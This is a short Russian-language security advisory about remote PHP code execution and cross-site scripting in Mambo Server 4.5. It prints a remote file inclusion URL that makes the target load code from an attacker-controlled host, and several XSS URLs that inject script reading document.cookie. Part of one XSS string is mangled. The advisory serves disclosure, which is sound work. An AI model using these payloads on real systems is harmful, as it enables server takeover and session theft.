Удаленное выполнение произвольных команд и межсайтовый скриптинг в Mambo Server
- Дата публикации:
- 21.09.2004
- Всего просмотров:
- 1360
- Опасность:
- Высокая
- Наличие исправления:
- Количество уязвимостей:
- 1
- CVSSv2 рейтинг:
- CVE ID:
- Нет данных
- Вектор эксплуатации:
- Воздействие:
- CWE ID:
- Нет данных
- Наличие эксплоита:
- Нет данных
- Уязвимые продукты:
Уязвимые версии: Mambo Server 4.5 (1.0.9)
Описание: Две уязвимости обнаружены в Mambo Server. Удаленный пользователь может выполнить произвольные команды на целевой системе. Удаленный пользователь может выполнить XSS нападение. Выполнение произвольного PHP кода:
http://[target]/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://[attacker]/2. XSS:
http://[target]/index.php?option=com_content&task=view&id=18&Itemi d=39"><script>alert(document.cookie)&a& %20I%20am%20an%20XSS% 20Problem</h1><br><br><br><br><br><br><br><br><br><br><br><br><br><& http://<site-with-mambo>/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1"><script>alert(document.cookie)</script>&limitstart=1
URL производителя: http://www.mamboserver.com/
Решение:Исправление доступно через CVS.
Ссылки:
Vulnerabilities in Mambo